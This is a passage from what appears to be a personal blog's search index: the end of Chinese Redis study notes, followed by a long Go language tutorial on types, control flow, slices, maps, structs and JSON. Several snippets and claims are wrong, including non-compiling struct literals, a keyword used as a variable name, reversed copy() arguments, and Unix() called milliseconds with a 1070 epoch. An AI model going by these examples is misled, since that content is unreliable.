需要下线的节点id\n下线主节点，从节点都可以用这个，但是下线前请确保该节点的槽已经分配给其他节点，保证下线节点无槽，无任务，因为该命令会将该节点从集群中删除，并且该节点也被删除，这个节点将不存在\n故障发现，故障恢复\n集群完整性\n带宽消耗\npubsub广播\n集群倾斜和数据倾斜，以及请求倾斜\n读写分离\n数据迁移\n集群和单机\n缓存更新策略\n缓存粒度，穿透，无底洞问题\n","permalink":"https://xiaochenabc123.github.io/posts/97/","summary":"Redis是NoSQL数据库（Not Only SQL）家族的代表之一，其特点就是基于内存运行，支持分布式，key-value存储\nRedis具备速度快，支持多种数据结构，可持久化，支持主从复制，具备高可用，分布式等特点\n可以将内存中的数据存储到磁盘中，重启的时候再加载使用，保证数据的持久性，支持备份恢复，常用于缓存数据库（辅助持久化数据库）\n因为其是以内存作为存储介质，因此读写数据的效率极高，读取速度可高达110000次/s（也就说可达到10W QPS，QPS（Queries Per Second）:每秒查询率），写速度高达81000次/s\nRedis将数据存储于内存中，Redis会将数据的更新异步存储到磁盘中来持久化，Redis数据持久化有2种方式，分别是RDB（Redis DataBase）和AOF（append only file）\nRedis支持多种数据结构，例如：string（字符串），hash（哈希），list（列表），set（集合），zset(Sorted Set: 有序集合)，BitMaps（位图），HyperLogLog（超小内存唯一值计数），GEO（地理信息定位）\nRedis支持分布订阅，Lua脚本，事务，pipeline等功能，支持主从复制，确保高可用\nRedis可以用来当做缓存系统，用户访问app应用服务时，一般来说会优先从缓存中读取，如果缓存没有再到存储介质中读取，并且将该数据会在存储在缓存中，这个缓存就是Redis\nRedis安装\n编译安装（linux）\n下载redis-x.x.x.tar.gz\n解压\ntar xzf redis-x.x.x.tar.gz\n进入解压出来的文件夹中，执行make\u0026amp;\u0026amp;make install命令\n因为用的是默认配置\n进入src，./redis-server ../redis.conf\n测试客户端\n./redis-cli\nsrc目录下可看到6个可执行文件，作用如下：\nredis-server可执行文件用于启动redis服务器\nredis-cli可执行文件用于redis命令行客户端，用于连接redis服务器\nredis-benchmark可执行文件用于redis性能测试，基准测试\nredis-check-aof可执行文件用于修复AOF可持久化文件\nredis-check-dump可执行文件用于RDB可持久化文件的检查工作\nredis-sentinel可执行文件用于启动高可用的sentinel模式（该模式又叫哨兵）\n使用redis并不推荐使用windows，虽然微软官方提供了redis补丁，但是redis版本太低了，建议使用Linux虚拟机或者docker容器来跑\nredis有3种启动服务器方式\n默认配置启动\nredis-server\n动态参数启动\nredis-server \u0026ndash;port 6380\n配置文件启动（推荐，通过redis.conf文件来进行配置）\nredis-server configPath\n客户端连接服务（6379是redis默认端口）\nredis-cli -h 127.0.0.1 -p 6379 -a \u0026ldquo;root\u0026rdquo;\nredis.conf配置\n默认端口为6379\nport 6379\n要远程访问则设置为0.0.0.0\nbind 127.0.0.1\nlogfile，redis日志名\ndir，redis工作目录（日志文件和持久化文件存储在哪个文件）\n以守护进程运行（yes为守护进程），注意如果是以守护进程运行，那么会默认将pid写入到/var/run/redis.pid\ndaemonize yes","title":"Redis学习笔记"},{"content":"Golang又叫go语言，golang是它的全称，是由Google开发的一种静态强类型，编译型，并发型，并具有垃圾回收功能的编程语言\ngo语言确保达到静态编译语言的安全和性能的同时，又达到动态语言的开发维护效率\nGo语言天生支持并发，提供自动垃圾回收机制\ngo的源文件是xxx.go\n值得一提的是哔哩哔哩网站后端就是用golang开发，这个足以说明golang的并发功能有多强大了\n检查是否安装成功go\ngo version\n环境配置\nGOROOT对应着go的安装目录\nGOPATH对应着go的源代码目录（可以放多个目录）\nGOBIN对应着 go install安装和编译的二进制程序的安装目录\n检查go环境\ngo env\n源程序默认为UTF-8编码，;可省略\n第一个go程序\npackage main\rimport \u0026quot;fmt\u0026quot;\rfunc main(){\rfmt.Println(\u0026quot;hallo golang\u0026quot;)\r}\rgo run hallo.go\n当然作为一个编译型语言，编译成二进制文件是支持的\ngo build hallo.go\n作为一个静态强类型语言，如果学过java的话，理解还是很轻松的\n定义包 package : 必须在源程序上声明该文件是属性那个包的\n引入包 import : 导入包，引用外部包开扩展功能\n注释\n// 单行\n/* 多 行 */\n标识符命名规范：第一个字母必须是字母或者下划线，而且不能是关键字，特殊符号只支持下划线\n常用的数据类型有：\n整型：int（有符号），uint（无符号），rune，int/unint(8,16,32,64)\n浮点型：float(32,64)，comple\n布尔型：bool（true，false）（bool默认值为false）\n字符串型：string\n数组：array\n结构体：struct\n变量\nvar abc string = \u0026ldquo;hallo\u0026rdquo;\n注意：如果声明变量了，但是没有初始化，那个该变量的值为系统默认设置的值（零值）\n定义多个变量\nvar abc xyz string = \u0026ldquo;hallo\u0026rdquo;,\u0026ldquo;word\u0026rdquo;\n而且go会根据提供值来判断数据类型是什么，例如：\nvar xyz = 666\ngo还提供一个特殊的运算符 :=，可以在变量不被声明的情况下使用，例如：\nhallo,word := \u0026ldquo;hallo\u0026rdquo;, \u0026ldquo;word\u0026rdquo;\n:=在实质开发中会经常使用的\ngo类型强制转换（和java一样，高精度转为低精度会失真）\nvar abc int = 666\nvar xyz float = 3.14\nvar gg string = \u0026ldquo;123\u0026rdquo;\nfloat(abc) // 强制转换为浮点数\nint(xyz) // 强制转为整型，会失去小数点之后的数值\nstrconv.Itoa(abc) // 强制转为字符串\nstrconv.Atoi(gg) // 强制转为整型\n注意：同一作用域中不能重复声明，而且必须要声明变量才能使用，而且必须要使用\n声明多个变量\nvar abc,xyz,hallo int\nvar(\rabc int\rxyz float\r)\r常量\n和其他语言一样，常量表示的就是不可修改的变量\nconst abc, xyz int = 123, 666\ngo还提供了一种特殊的定义方式，例如：\nconst(\ra = \u0026quot;hi\u0026quot;\rb = \u0026quot;hallo\u0026quot;\r)\r如果声明多个常量时，省略了值那么就是表示和第一行值相同，例如：\nconst(\ra = 123\rb\rc\r)\r注意：定义的时候必须赋值\niota常量计数器\nconst(\ra = iota\rb\r_\rd\r)\riota在出现const关键字时重置为0，const每增加一行常量声明，iota加1（自增长），_（下划线，空白标识符（占位），常用于忽略函数多个返回值，例如err）为跳过某些值\n类型\ngolang的数据类型分为基本数据类型和复合数据类型\n基本数据类型有整型，浮点型，字符串，布尔型\n复合数据类型有数组，函数，切片，结构体，字典（map），通道（channel），接口\n注意：像整型有很多种，像int8，int16，int32，uint8，uint16等等，如果直接写int的话，在不同的操作系统中是不一样的，32为操作系统的int指的是int32，64位操作系统指int64\n可使用unsafe.Sizeof查看变量的长度（在内存中的存储空间），例如：\nvar num100 = 100\rfmt.Println(unsafe.Sizeof(num100))\r值类型：值类型被声明变量后，不管有没有赋值，都会分配内存给它，也就是说值类型的声明不需要分配内存，因为在声明的时候已经分配好了内存\n引用类型：变量存储的是一个地址，地址对应的内存空间就是真正存储数据的，引用类型必须申请内存才能使用，例如make()\n自定义类型：可以使用type关键字来自定义类型，例如：type Testint int // 将Testint定义为int类型\n类型转换\n注意：高位转低位会出现精度丢失，例如\nvar abc int16 = 666\rfmt.Println(int8(abc)) // -102\r数字字面量语法\ngo1.13版本+，引入了数字字面量语法，方便使用二进制，八进制，十六进制的格式定义数字，例如:\nabc := 0b10100010101000001011\rfmt.Println(abc) // 666123\r0b表示二进制\n0o表示八进制\n0x表示十六进制\n进制的转换\nvar abc int64 = 100\rfmt.Println(abc)\ra := strconv.FormatInt(abc, 2) // 二进制\rfmt.Println(a)\rb := strconv.FormatInt(abc, 8) // 八进制\rfmt.Println(b)\rc := strconv.FormatInt(abc, 10) // 十进制（默认）\rfmt.Println(c)\rd := strconv.FormatInt(abc, 16) // 十六进制\rfmt.Println(d)\r浮点型（也就是小数）\nGo的浮点型分为float32和float64\nfloat32的浮点数的最大范围为3.4028234663852886e+38，可用math.MaxFloat32输出查看\nfloat64的浮点数的最大范围为1.7976931348623157e+308，可用math.MaxFloat64输出查看\nvar pi = math.Pi\rfmt.Printf(\u0026quot;%f\\n\u0026quot;, pi) // 默认小数点6位\rfmt.Printf(\u0026quot;%.10f\\n\u0026quot;, pi) // 指定输出小数点后几位\r字符串\ngo语言字符串编码为UTF-8\n例如： hallo := \u0026ldquo;你好 Word\u0026rdquo;\n可输出多行字符串\nvar str123 = `第一行\r第二行\r第三行`\rfmt.Println(str123)\rlen()：字符串长度\n+或fmt.Sprintf：拼接字符串\nstrings.Index()：返回字符在字符串中的位置\nstrings.contains：返回是否包含某个字符\n布尔类型\nvar abc = false var xyz = true\nbyte和rune类型\n组成字符串的元素叫字符，可遍历字符串获取字符\ngo语言的字符分为2种类型，分别为uint8（byte，表示ACII码的一个字符）和rune类型（表示一个UTF-8字符）\n因此使用非ACII码的字符，需要使用rune类型（一个汉字占3个字节，字母只占一个字节）\n注意：修改字符串必须将其转换为byte或者rune类型，完成修改后再转回string，例如：\nhallo := \u0026quot;你好,golang\u0026quot;\rabc := []rune(hallo)\rabc[0] = '您'\rfmt.Println(string(abc))\r整型转字符串类型\nvar a int = 100\rb := fmt.Sprintf(\u0026quot;%d\u0026quot;, a)\rfmt.Printf(b)\r字符串转整型或者浮点型\nstr := \u0026quot;666\u0026quot;\rstr1 := \u0026quot;3.14\u0026quot;\rstrScore, err := strconv.Atoi(str)\rfmt.Println(strScore, err) // err为转换失败的信息\rnum, err := strconv.ParseInt(str, 10, 64)\rfmt.Println(num, err)\rnum1, err := strconv.ParseFloat(str1, 10)\rfmt.Println(num1, err)\r运算符\n+：加，-减，*乘，/除，%求余\n注意：在go中，++和\u0026ndash;是单独使用的，是没有++i的，正确写法例如：\nvar i int = 64\ri++\r// ++i 错误\rif判断\npackage main\rimport \u0026quot;fmt\u0026quot;\rfunc main(){\rabc := 123\rif abc \u0026gt;666{\rfmt.Println(\u0026quot;abc大于666\u0026quot;)\r} else if abc \u0026lt; 666{\rfmt.Println(\u0026quot;abc小于666\u0026quot;)\r}else{\rfmt.Println(abc)\r}\r}\rif的另一种写法：\nif abc:=123; xyz\u0026gt;=100{\rfmt.Println(\u0026quot;abc\u0026gt;=100\u0026quot;)\r}\rswitch判断（用于对大量的值进行判断）\nxyz := \u0026quot;abc\u0026quot;\rswitch xyz {\rcase \u0026quot;abc\u0026quot;:\rfmt.Println(\u0026quot;1\u0026quot;)\rcase \u0026quot;123\u0026quot;:\rfmt.Println(\u0026quot;2\u0026quot;)\rdefault:\rfmt.Println(xyz)\r}\rswitch判断的另一种使用方法\nswitch abc := \u0026quot;hallo\u0026quot;; abc {\rcase \u0026quot;hallo\u0026quot;:{\rfmt.Println(\u0026quot;hallo\u0026quot;)\rbreak\r// 不用break也能跳出switch语句\r}\rcase \u0026quot;hi\u0026quot;,\u0026quot;hello\u0026quot;:{\r// 多个值用逗号分隔\rfmt.Println(\u0026quot;hi\u0026quot;)\rfmt.Println(\u0026quot;hello\u0026quot;)\rbreak\t}\rdefault:{\rfmt.Println(\u0026quot;hallo word\u0026quot;)\rbreak\r}\r}\r如果想继续执行下一个case，可以使用fallthrough语句（switch最后一个分支不要使用fallthrough语句，否则报错，而且不能在case语句中间使用，必须是在case语句最后一个语句中使用）例如：\nfunc hallo() int {\rabc := 100 + 666 + 123\rreturn abc\r}\rfunc main() {\rswitch abc := hallo(); {\rcase abc \u0026gt; 500:\rfmt.Printf(\u0026quot;num \u0026lt; 500\\n\u0026quot;)\rfallthrough\rcase abc \u0026gt; 666:\rfmt.Printf(\u0026quot;num \u0026lt; 666\\n\u0026quot;)\rfallthrough\rcase abc \u0026gt; 123:\rfmt.Printf(\u0026quot;num \u0026lt; 123\\n\u0026quot;)\r}\r}\rfor循环\nfor abc := 1; abc\u0026lt;10 ; abc++{\rfmt.Println(abc)\r}\rgolang是没有while循环语句，但是可以使用for循环来做出类似的功能\nabc := 1\rfor abc\u0026lt;10 {\rfmt.Println(abc)\rabc++\r}\rfor循环可用break，goto，return，panic语句退出循环\nbreak跳出循环\n一次性跳出多层循环 break LOOP\ncontinue是退出当前循环\ngoto是无条件转移到goto语句的行，可用于跳出循环，条件转移，例如：\nfunc main() {\rvar abc int = 123\rLOOP:\rfor abc \u0026lt; 666 {\rif abc == 233 {\rabc = abc + 1\rgoto LOOP\r}\rfmt.Printf(abc)\rabc++\r}\r}\rreturn可用于函数或者方法中，用于跳出当前函数或者方法，如果return语句在main函数中，将是终止程序运行，在普通函数中，将是终止当前函数执行（return后面的程序不执行了）\n当return没有带返回值，将是终止，如果带返回值，那么就是终止并且返回值\ngo语言并没有像java那样的异常嵌套机制，go语言用panic-and-recover来替代\npanic可中断原来的流程控制，某个函数调用了panic，将终止该函数的执行，如果有延迟函数（defer）则执行该defer函数，返回其调用者，一直到goroutine（goroutine是go语言的轻量级线程，由runtime管理，go语言会智能的将goroutine中的任务合理分配给每个CPU，go程序在运行时，会给main()函数建立一个默认goroutine，用go关键字创建goroutine，例如：go 函数名(参数)）的全部函数都返回，然后打印panic信息，堆栈信息，最后到终止程序\npanic：在任何地方都可以触发 recover：只在用了defer修饰的函数内有效\n注意：平时不要用panic-and-recover，而是errors，只有当程序不能继续执行了才用，例如出现不可恢复的错误，不能再让它继续执行了，这里举个例子：\nfunc abc() {\rfmt.Println(\u0026quot;hallo word\u0026quot;)\r}\rfunc hallo() {\rdefer func() {\rerr := recover()\rif err != nil {\rfmt.Println(\u0026quot;hallo word\u0026quot;)\r}\r}()\rpanic(\u0026quot;runtime error!!!\u0026quot;)\r}\rfunc main() {\rabc()\rhallo()\r}\rerrors（在go语言中，发生错误，是通过返回errprs值，来对errprs值进行修改或者忽略，当没有错误时，rrprs值为nil，因此可以通过判断errors的值是否为nil来知道是否出现错误，以及处理错误）\nfor range循环（可用于遍历数组，字符串，字典（map），切片（数组），channel（通道））\nfor range循环数组，字符串，切片返回索引和值，字典（map）返回键和值，channel（通道）返回通道内的值\n例如：\nvar abc = \u0026quot;hallo word\u0026quot;\rfor key, index := range abc {\rfmt.Printf(\u0026quot;%v:%c,\u0026quot;, key, index)\r}\r数组（在go中，数组是指同一系列，同一类型的数据集合，组成数组的数据叫元素，go语言的数组的元素是被分配到连续的内存地址中，索引元素是速度非常快的）\nvar abc [16]int // 定义int类型，元素个数为16的数组\rabc[0] = 10\rabc[1] = 66\rfmt.Println(abc)\rvar xyz = [3]string {\u0026quot;hallo word\u0026quot;,\u0026quot;golang\u0026quot;,\u0026quot;hahaha\u0026quot;}\rfmt.Println(xyz)\rvar a = [...]int{1, 2, 3, 4, 5} // 自动判断数组长度\rfmt.Println(a)\rb := [...]int{1: 66, 3: 100}\rfmt.Println(b)\r遍历数组\nhallo := [...]int{1: 66, 3: 100}\rfor i := 0; i \u0026lt; len(hallo); i++ {\rfmt.Print(hallo[i], \u0026quot;\\n\u0026quot;)\r}\r也可以用for range方法\n数组是值类型，将数组赋值给另一个变量，会生成副本，修改另一个变量，只会修改副本，不会修改原来的数组，例如：\nhallo := [...]int{1: 66, 3: 100}\rabc := hallo\rabc[1] = 100\rfmt.Println(hallo, abc)\r可以看到在golang中数组不是引用类型\n二维数组\nvar abc = [...][2]int{{100,123},{222,333},{666,60}}\rfmt.Println(abc)\rfor i := 0; i \u0026lt; len(abc); i++ {\rfor j := 0; j \u0026lt; len(abc[0]); j++ {\rfmt.Println(abc[i][j])\r}\r}\r数组的初始值为nil（nil表示为空）\n知识点：指针和引用类型的默认值为nil，需要分配空间\n切片\n切片和数组类似（切片是基于数组类型进行一层封装），不过切片是引用类型（调用的只是在内存中的地址，指针）的\nvar hallo = []int{100, 2333, 666}\rabc := hallo\rabc[0] = 123\rxyz = abc[1:2]\rfmt.Println(hallo, abc, xyz)\rfor i := 0; i \u0026lt; len(abc); i++ {\rfmt.Print(abc[i], \u0026quot;\\n\u0026quot;)\r}\r长度用len()获取，容量用cap()获取\nmake函数创建切片\nvar data = make([]int, 2, 8) // int类型，长度为2，容量为8\rfmt.Printf(\u0026quot;长度：%d, 容量%d\u0026quot;, len(data), cap(data))\rappend()切片扩容\nvar hallo = []int64{100, 2333, 666}\rhallo = append(hallo, 123)\rfmt.Println(hallo) // 100, 2333, 666, 123\rabc := []int64{1,3,4,5,6}\rhallo = append(hallo, abc...) // 将两个切片合并\rfmt.Println(hallo) // 100,2333,666,123,1,3,4,5,6\rcopy()函数复制切片（可以理解为深拷贝）\nvar hallo = []int64{100, 2333, 666}\rvar abc = make([]int64, len(hallo), len(hallo))\rcopy(hallo, abc)\rabc[0] = 4\rfmt.Println(hallo,abc)\r删除切片的值（golang中并没有删除切片的值的方法，不过可以用append()实现）\nvar hallo = []int64{100, 2333, 666}\rhallo = append(hallo[:2], hallo[3:]...)\rfmt.Println(hallo)\r遍历切片和数组一样\nmap（字典）\nmap（字典）是无序的基于key-value的数据结构，在golang中map是引用类型\nvar abc = make(map[string]int) // string是键的类型，int是键对应的值的类型\rabc[\u0026quot;user\u0026quot;] = 123\rabc[\u0026quot;pass\u0026quot;] = 666\rfmt.Println(abc)\rfmt.Println(abc[\u0026quot;pass\u0026quot;])\r或者\nvar hallo = map[string]string {\r\u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;,\r\u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;,\r}\rfmt.Println(hallo)\r遍历map\nvar hallo = map[string]string {\r\u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;,\r\u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;,\r}\rfor key, value := range hallo {\rfmt.Println(\u0026quot;key:\u0026quot;, key, \u0026quot; value:\u0026quot;, value)\r}\r判断map中某个键值是否存在\nvar hallo = map[string]string {\r\u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;,\r\u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;,\r}\rvalue, yes := hallo[\u0026quot;pass\u0026quot;] // 返回2个值。value为返回结果，yes为是否存在该键值\rfmt.Println(value, yes)\rdelete()删除键值对\nvar hallo = map[string]string {\r\u0026quot;user\u0026quot;:\u0026quot;root\u0026quot;,\r\u0026quot;pass\u0026quot;:\u0026quot;abchahaha\u0026quot;,\r}\rdelete(hallo, \u0026quot;pass\u0026quot;)\rvalue, no := hallo[\u0026quot;pass\u0026quot;]\rfmt.Println(value, no)\r通道\nGolang中还有一个特殊的类型chan，这个类型一般用来线程之间的数据传输\n声明chan\nvar a chan int a := make(chan int, 1) a \u0026lt;- 999 b := \u0026lt;- a\nchan底层是指针，指针初始值为空，需要实例化，make()就是实例化了chan\n\u0026lt;- 999：将值放进通道\n\u0026lt;- a : 将 999 从通道中提取出来\n函数\n函数通过func关键字来声明和定义函数\nfunc hallo(a ...string){\rfmt.Println(a)\r}\rfunc main(){\rhallo(\u0026quot;hallo golang!!!\u0026quot;)\r}\r匿名函数\nfunc main() {\rfunc () {\rfmt.Println(\u0026quot;我是匿名函数\u0026quot;)\r}()\r}\r因为没有函数名，没法像正常函数那样被调用，需要将其赋值或者作为立即执行函数\n返回值\nfunc hallo(a, b int) (int,int,int) {\rx := a+b\ry := a-b\rz := a*b\rreturn x, y, z\r}\rfunc main(){\rabc, xyz, go := hallo(6,3)\rfmt.Println(abc, xyz, go)\r}\r当然也是可以自动返回\nfunc hallo(a, b int) (x int,y int,z int){}\ngolang的全局变量和局部变量\n全局变量：常驻内存中，污染全局\n局部变量：不常驻内存中，不污染全局\n闭包：让变量可以常驻内存的同时，不污染全局\n闭包的写法：\nfunc hallo() func() int {\ri := 123\rreturn func() int {\rreturn i + 666\r}\r}\rfunc main() {\rvar abc = hallo()\rfmt.Println(abc())\r}\r或者\nfunc hallo() func(a int) int {\rvar i = 10\rreturn func(a int) int {\ri = i + a\rreturn i\r}\r}\rfunc main() {\rvar abc = hallo()\rfmt.Println(abc(666))\r}\rdefer修饰语句可以延迟执行语句，例如：\nfmt.Println(\u0026quot;1\u0026quot;)\rdefer fmt.Println(\u0026quot;2\u0026quot;)\rfmt.Println(\u0026quot;3\u0026quot;)\r如果使用多个defer修饰语句，会逆序执行（先使用defer最后执行，最后使用defer，最早执行（相对于使用defer修饰的语句））\n在golang中的time包提供了时间显示和测量时间的函数\n获取时间（年-月-日）例如：\ntimedata := time.Now()\ryear := timedata.Year()\rmonth := timedata.Month()\rday := timedata.Day()\rfmt.Printf(\u0026quot;%d-%02d-%02d \\n\u0026quot;, year, month, day)\r格式化日期（在golang中，并且不是使用Y-m-d H:M:S模板格式化，而且是使用Go的诞生时间：2006年1月2日 15点04分）\n例如：\ntimedata := time.Now()\rfmt.Println(timedata.Format(\u0026quot;2006-01-02 15:04:05\u0026quot;)) // 24小时制\rfmt.Println(timedata.Format(\u0026quot;2006-01-02 03:04:05\u0026quot;)) // 12小时制\r获取时间戳（时间戳是自1070年1月1日08:00:00GMT至今的总毫秒数，又叫Unix时间戳）\n例如：\ntimedata := time.Now()\runixTime := timedata.Unix() // 毫秒时间戳\runixNaTime := timedata.UnixNano() // 纳秒时间戳\rfmt.Println(unixTime,unixNaTime)\r时间戳转正常日期\nvar abc = time.Unix(1642746020, 0)\rvar xyz = abc.Format(\u0026quot;2006-01-02 15:04:05\u0026quot;)\rfmt.Println(xyz)\r正常日期转时间戳\nvar abc = \u0026quot;2022-01-21 14:21:55\u0026quot;\rvar tmp = \u0026quot;2006-01-02 15:04:05\u0026quot;\rtimedata, err := time.ParseInLocation(tmp, abc, time.Local)\rfmt.Println(timedata.Unix())\r时间的间隔（两个时间之间的间隔，单位为纳秒，time.Duration是time定义的类型，表示一段时间间隔，最大可以表示290年）\ndata := time.Now()\rabc := data.Add(time.Hour)\rxyz := data.Add(time.Second)\rfmt.Println(abc) // 输出1个小时后的时间\rfmt.Println(xyz) // 输出1秒后的时间\r指针\ngolang的指针有3个概念，地址，类型，取值\n\u0026amp;：获取地址，*：根据地址取值\na := 100\rb := \u0026amp;a\rfmt.Println(b) // 获取地址\rfmt.Println(*b) // 根据地址取值\r*b = 666 fmt.Println(a) // 根据地址修改值，改变内存中的值，会改变原来的变量值\r注意：指针必须在创建内存后才能使用（其他引用类型也是一样，需要用make分配空间或者在定义的时候分配空间，值类型在声明的时候已经分配了默认空间，因此值类型不用分配空间）\nnew关键字分配内存（new是一个内置函数，调用new函数得到的是指定类型的指针，并且指针对应的值为该类型的零值）\nabc := new(int)\rfmt.Printf(abc)\rfmt.Println(*abc)\rmake和new的区别：虽然这两个都是用来内存分配的，不过make是用于map，channel，切片（slice）的初始化，返回的值为这3个类型的本身，而new是用来类型的内存分配，内存对应的值为类型的零值，返回的值为指向类型的指针\nGolang语言是面向对象语言又不是，虽然有类型和方法，也支持面向对象的编程风格，但是go没有对象（object）这个类型，也没有类（class）的概念，在go中用结构体替代面向对象语言的类（class）\ntype关键字（go通过type关键字定义结构体，结构体是值类型）\n自定义类型（type也可以来定义自定义类型）\ntype dataStr string\rdataStr自定义类型具备string类型的特性\ntype dataStr string\rfunc main() {\rvar abc dataStr = \u0026quot;hallo word\u0026quot;\rfmt.Printf(\u0026quot;%v %T\u0026quot;, abc, abc)\r}\r类型别名（只是别名，实质上还是同一个类型）\ntype dataStr = string\r结构体的定义以及初始化（type关键字和struct关键字）\ntype Data struct{\ruser string // 定义结构体\rage int\rpass string\r}\rfunc main(){\rvar data Data // 实例化\rdata.user = \u0026quot;root\u0026quot;\rdata.age = 20\rdata.pass = \u0026quot;123456789\u0026quot;\rfmt.Printf(\u0026quot;%#v\u0026quot;, data)\r}\r也可以使用new关键字实例化\nfunc main(){\rvar data = new(Data) // 实例化\rdata.user = \u0026quot;root\u0026quot;\r// 等于 (*data).user = \u0026quot;root\u0026quot;\rdata.age = 20\rdata.pass = \u0026quot;123456789\u0026quot;\rfmt.Printf(\u0026quot;%#v\u0026quot;, data) // 结构体指针\r}\r在golang中支持直接对结构体指针使用，来访问结构体的属性\n另外几种实例化结构体的方法\nvar data = \u0026amp;Data{\rdata.user = \u0026quot;root\u0026quot;,\rdata.age = 20,\rdata.pass = \u0026quot;123456789\u0026quot;,\r}\rfmt.Printf(\u0026quot;%#v\u0026quot;, data)\rvar data = Data{\rdata.user = \u0026quot;root\u0026quot;,\rdata.age = 20,\rdata.pass = \u0026quot;123456789\u0026quot;,\r}\rfmt.Printf(\u0026quot;%#v\u0026quot;, data)\rvar data = Data{\r\u0026quot;root\u0026quot;,\r20,\r\u0026quot;123456789\u0026quot;,\r}\rfmt.Printf(\u0026quot;%#v\u0026quot;, data)\r结构体的方法和接收\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\r}\rfunc (d Data) DataMain() {\r// 定义方法\rfmt.Print(\u0026quot;user:\u0026quot;, d.user)\rfmt.Print(\u0026quot;age:\u0026quot;, d.age)\rfmt.Print(\u0026quot;pass:\u0026quot;, d.pass)\rfmt.Println()\r}\rfunc (d *Data) GetData(user string, age int, pass string) {\r// 接收方法，因为结构体是值类型，需要使用指针\rd.user = user\rd.age = age\rd.pass = pass\r}\rfunc main() {\rvar data = Data{\r\u0026quot;root\u0026quot;,\r20,\r\u0026quot;123456789\u0026quot;,\r}\rdata.DataMain()\rdata.GetData(\u0026quot;admin\u0026quot;, 22, \u0026quot;abc12345\u0026quot;)\rdata.DataMain()\r}\r输出结果为：\nuser:rootage:20pass:123456789 user:adminage:22pass:abc12345\n自定义类型方法（类型一样可以定义方法）\ntype dataStr string\rfunc (d dataStr) dataInfo(){\rfmt.Println(\u0026quot;hallo golang\u0026quot;) // 自定义类型的自定义方法\r}\rfunc main() {\rvar abc dataStr = \u0026quot;hallo word\u0026quot;\rabc.dataInfo()\r}\r结构体匿名字段（go允许字段在声明的时候没有字段名，只有类型，因为结构体要求字段名唯一，因此在同一个结构体中同种类型的匿名字段只能出现一次）\ntype Data struct{\r// 定义结构体\rstring int\rstring\r}\rfunc main(){\rvar data = Data{\r// 结构体匿名字段\r\u0026quot;root\u0026quot;,\r20,\r\u0026quot;123456789\u0026quot;,\r} }\r注意：结构体的字段类型可以是任意类型（包括自定义类型，结构体类型），但是如果类型是引用类型（例如map，指针）需要先使用make分配空间再使用\n结构体嵌套\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\rdatamain DataMain //嵌套DataMain结构体\r}\rtype DataMain struct{\r// 定义结构体\remail string\rphone string\r}\rfunc main() {\rvar d Data\rd.user = \u0026quot;xiaochen\u0026quot;\rd.age = 20\rd.pass = \u0026quot;123456789\u0026quot;\rvar datamain DataMain\rdatamain.email = \u0026quot;a@xiaochenabc123.test.com\u0026quot;\rdatamain.phone = \u0026quot;18888888888\u0026quot;\rd.datamain = datamain\rfmt.Printf(\u0026quot;%#v\u0026quot;, d)\r}\r输出结果为main.Data{user:\u0026ldquo;xiaochen\u0026rdquo;, age:20, pass:\u0026ldquo;123456789\u0026rdquo;, datamain:main.DataMain{email:\u0026ldquo;a@xiaochenabc123.test.com\u0026rdquo;, phone:\u0026ldquo;18888888888\u0026rdquo;}}\n嵌套结构体可能出现字段名相同，go默认先从父结构体查找，如果没有再到子结构体中查找，这时如果子结构体存在相同的字段，会报错，因为不知道该设置哪个字段（所以字段名要全局唯一）\n结构体继承（可以理解为类的继承，实质效果和结构体嵌套类似）\ntype Data struct{\r// 定义结构体\ruser string age int\rpass string\rDataMain //通过结构体嵌套实现继承\r}\rfunc (data Data) datamax() {\rfmt.Printf(\u0026quot;email: %v \\n\u0026quot;, data.email)\r}\rtype DataMain struct{\r// 定义结构体\remail string\rphone string\r}\rfunc (datamain DataMain) dataabc() {\rfmt.Printf(\u0026quot;email: %v \\n\u0026quot;, datamain.email)\r}\rfunc main() {\rvar data = Data{\ruser: \u0026quot;root\u0026quot;,\rDataMain: DataMain{\remail: \u0026quot;a@xiaochenabc123.test.com\u0026quot;,\r},\r}\rdata.datamax();\rdata.dataabc();\r}\r可以看到Data结构体拥有DataMain结构体的方法\n注意结构体的字段首字母要大写，表示公有，小写为私用\ngo结构体和json序列化\n将结构体转换为json叫json序列化，将json转换为结构体叫json反序列化\njson序列化和json反序列化主要依赖于encoding/json包的json.Marshal()方法和json.Unmarshal()方法\ntype Data struct{\r// 定义结构体\rUser string Age int\rPass string\r}\rfunc main() {\rvar data = Data{\rUser: \u0026quot;root\u0026quot;,\rAge: 20,\rPass: \u0026quot;123456789\u0026quot;,\r}\r// 结构体转换成Json（返回值为是byte类型的切片）\rjsonByte, _ := json.Marshal(data)\r// byte类型转string类型\rjsonStr := string(jsonByte)\rfmt.Printf(string(jsonByte))\rfmt.Printf(jsonStr)\r}\rjson字符串转结构体\ntype Data struct{\r// 定义结构体\rUser string Age string\rPass string\r}\rfunc main() {\r// Json字符串转换成结构体\rvar str = `{\u0026quot;User\u0026quot;:\u0026quot;root\u0026quot;,\u0026quot;Age\u0026quot;:\u0026quot;20\u0026quot;,\u0026quot;Pass\u0026quot;:\u0026quot;123456789\u0026quot;}`\rvar data = Data{}\r// 第一个参数是传入byte类型的json字符串，第二个参数需要传入转换的地址\rerr := json.Unmarshal([]byte(str), \u0026amp;data)\rif err != nil {\rfmt.Printf(\u0026quot;转换失败 \\n\u0026quot;)\r} else {\rfmt.Printf(\u0026quot;%#v \\n\u0026quot;, data)\r}\r}\r结构体标签（tag）\ntag是结构体的元信息，可以在运行时通过反射的机制读取出来，tag在结构体字段后面定义，用反引号包裹，tag是以键值对的方式组成，不同的tag用空格分隔\ntype Data struct{\r// 定义结构体，并且使用结构体标签\rUser string `json:\u0026quot;user\u0026quot;`\rAge string `json:\u0026quot;age\u0026quot;`\rPass string `json:\u0026quot;pass\u0026quot;`\r}\rfunc main() {\rvar data = Data{\rUser: \u0026quot;root\u0026quot;,\rAge: \u0026quot;20\u0026quot;,\rPass: \u0026quot;123456789\u0026quot;,\r}\rjsonByte, _ := json.Marshal(data)\r// byte类型转string类型\rjsonStr := string(jsonByte)\rfmt.Printf(jsonStr)\rvar str = 